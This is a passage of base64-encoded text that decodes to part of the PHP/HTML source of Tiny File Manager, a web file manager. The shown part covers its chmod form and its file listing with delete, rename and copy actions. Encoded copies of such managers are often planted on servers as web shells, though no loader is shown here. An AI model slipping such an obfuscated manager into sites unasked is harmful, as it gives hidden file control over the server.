gIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ093bmVyJykgPz48L2I+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48L2I+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ090aGVyJykgPz48L2I+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+PGI+PD9waHAgZWNobyBsbmcoJ1JlYWQnKSA/PjwvYj48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1ciIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDQwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnciIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDA0MCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvciIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwNCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjwvYj48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1dyIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJndyIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvdyIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnRXhlY3V0ZScpID8+PC9iPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV4IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMTAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd4IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDEwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im94IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDAxKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KDQogICAgICAgICAgICAgICAgICAgIDxwPg0KICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtcHJpbWFyeSI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2E+PC9iPiZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NoYW5nZScpID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPD9waHANCiAgICBmbV9zaG93X2Zvb3RlcigpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIC0tLSBUSU5ZRklMRU1BTkFHRVIgTUFJTiAtLS0NCmZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUg0KZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoDQoNCi8vIHNob3cgYWxlcnQgbWVzc2FnZXMNCmZtX3Nob3dfbWVzc2FnZSgpOw0KDQokbnVtX2ZpbGVzID0gY291bnQoJGZpbGVzKTsNCiRudW1fZm9sZGVycyA9IGNvdW50KCRmb2xkZXJzKTsNCiRhbGxfZmlsZXNfc2l6ZSA9IDA7DQokdGFibGVUaGVtZSA9IChGTV9USEVNRSA9PSAiZGFyayIpID8gInRleHQtd2hpdGUgYmctZGFyayB0YWJsZS1kYXJrIiA6ICJiZy13aGl0ZSI7DQo/Pg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgY2xhc3M9InB0LTMiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ3JvdXAiIHZhbHVlPSIxIj4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+DQogICAgICAgIDx0YWJsZSBjbGFzcz0idGFibGUgdGFibGUtYm9yZGVyZWQgdGFibGUtaG92ZXIgdGFibGUtc20gPD9waHAgZWNobyAkdGFibGVUaGVtZTsgPz4iIGlkPSJtYWluLXRhYmxlIj4NCiAgICAgICAgICAgIDx0aGVhZCBjbGFzcz0idGhlYWQtd2hpdGUiPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOjMlIiBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0ianMtc2VsZWN0LWFsbC1pdGVtcyIgb25jbGljaz0iY2hlY2tib3hfdG9nZ2xlKCkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0ianMtc2VsZWN0LWFsbC1pdGVtcyI+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L3RoPjw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PC90aD4NCiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1NpemUnKSA/PjwvdGg+DQogICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdNb2RpZmllZCcpID8+PC90aD4NCiAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+DQogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnUGVybXMnKSA/PjwvdGg+DQogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjwvdGg+PD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdBY3Rpb25zJykgPz48L3RoPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgIDwvdGhlYWQ+DQogICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgLy8gbGluayB0byBwYXJlbnQgZm9sZGVyDQogICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJub3NvcnQiPjwvdGQ+PD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiIGRhdGEtc29ydD48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiAuLjwvYT48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLW9yZGVyPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiIGRhdGEtb3JkZXI+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpIHsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIj48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGlpID0gMzM5OTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7DQogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOw0KICAgICAgICAgICAgICAgICRpbWcgPSAkaXNfbGluayA/ICdpY29uLWxpbmtfZm9sZGVyJyA6ICdmYSBmYS1mb2xkZXItbyc7DQogICAgICAgICAgICAgICAgJG1vZGlmX3JhdyA9IGZpbGVtdGltZSgkcGF0aCAuICcvJyAuICRmKTsNCiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7DQogICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKCJGIGQgWSBIOmk6cy4iLCAkbW9kaWZfcmF3KSk7DQogICAgICAgICAgICAgICAgJGZpbGVzaXplX3JhdyA9ICIiOw0KICAgICAgICAgICAgICAgICRmaWxlc2l6ZSA9IGxuZygnRm9sZGVyJyk7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZikpLCAtNCk7DQogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsNCiAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRwYXRoIC4gJy8nIC4gJGYpKTsNCiAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRwYXRoIC4gJy8nIC4gJGYpKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lciA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXAgPT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOw0KICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjdXN0b20tY2hlY2tib3gtdGQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJjdXN0b20tY29udHJvbC1pbnB1dCIgaWQ9Ijw/cGhwIGVjaG8gJGlpID8+IiBuYW1lPSJmaWxlW10iIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0iPD9waHAgZWNobyAkaWkgPz4iPjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+PD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLXNvcnQ9PD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGVuYW1lIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSI8P3BocCBlY2hvICRpbWcgPz4iPjwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT48P3BocCBlY2hvKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJy8nIC4gJGYpIC4gJzwvaT4nIDogJycpID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPSJhLTw/cGhwIGVjaG8gc3RyX3BhZCgkZmlsZXNpemVfcmF3LCAxOCwgIjAiLCBTVFJfUEFEX0xFRlQpOz8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYS08P3BocCBlY2hvICRkYXRlX3NvcnRpbmc7Pz4iPjw/cGhwIGVjaG8gJG1vZGlmID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PjxhIHRpdGxlPSJDaGFuZ2UgUGVybWlzc2lvbnMiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjaG1vZD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iPjw/cGhwIGVjaG8gJHBlcm1zID8+PC9hPjw/cGhwIGVsc2U6ID8+PD9waHAgZWNobyAkcGVybXMgPz48P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5saW5lLWFjdGlvbnMiPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJyk/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RlbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsICcxMDI4JywnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpLicgJy5sbmcoJ0ZvbGRlcicpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PicsIHRoaXMuaHJlZik7Ij4gPGkgY2xhc3M9ImZhIGZhLXRyYXNoLW8iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVuYW1lJyk/PiIgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0NvcHlUbycpPz4uLi4iIGhyZWY9Ij9wPSZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnLycgLiAkZiwgJy8nKSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1maWxlcy1vIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJyk/PiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZiAuICcvJykgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtbGluayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgJGlpKys7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaWsgPSA2MDcwOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7DQogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOw0KICAgICAgICAgICAgICAgICRpbWcgPSAkaXNfbGluayA/ICdmYSBmYS1maWxlLXRleHQtbycgOiBmbV9nZXRfZmlsZV9pY29uX2NsYXNzKCRwYXRoIC4gJy8nIC4gJGYpOw0KICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnLycgLiAkZik7DQogICAgICAgICAgICAgICAgJG1vZGlmID0gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsICRtb2RpZl9yYXcpOw0KICAgICAgICAgICAgICAgICRkYXRlX3NvcnRpbmcgPSBzdHJ0b3RpbWUoZGF0ZSgiRiBkIFkgSDppOnMuIiwgJG1vZGlmX3JhdykpOw0KICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICcvJyAuICRmKTsNCiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7DQogICAgICAgICAgICAgICAgJGZpbGVsaW5rID0gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkgLiAnJmFtcDt2aWV3PScgLiB1cmxlbmNvZGUoJGYpOw0KICAgICAgICAgICAgICAgICRhbGxfZmlsZXNfc2l6ZSArPSAkZmlsZXNpemVfcmF3Ow0KICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJy8nIC4gJGYpKSwgLTQpOw0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7DQogICAgICAgICAgICAgICAgICAgICRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkcGF0aCAuICcvJyAuICRmKSk7DQogICAgICAgICAgICAgICAgICAgICRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkcGF0aCAuICcvJyAuICRmKSk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXIgPT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGdyb3VwID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsNCiAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LXRkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSI8P3BocCBlY2hvICRpayA/PiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGYpID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9Ijw/cGhwIGVjaG8gJGlrID8+Ij48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPjw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1zb3J0PTw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/Pj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGVuYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoc3RydG9sb3dlcihwYXRoaW5mbygkZiwgUEFUSElORk9fRVhURU5TSU9OKSksIGFycmF5KCdnaWYnLCAnanBnJywgJ2pwZWcnLCAncG5nJywgJ2JtcCcsICdpY28nLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpKSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwICRpbWFnZVByZXZpZXcgPSBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZik7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVsaW5rID8+IiBkYXRhLXByZXZpZXctaW1hZ2U9Ijw/cGhwIGVjaG8gJGltYWdlUHJldmlldyA/PiIgdGl0bGU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbGluayA/PiIgdGl0bGU9Ijw/cGhwIGVjaG8gJGYgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9Ijw/cGhwIGVjaG8gJGltZyA/PiI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobygkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICcvJyAuICRmKSAuICc8L2k+JyA6ICcnKSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPSJiLTw/cGhwIGVjaG8gc3RyX3BhZCgkZmlsZXNpemVfcmF3LCAxOCwg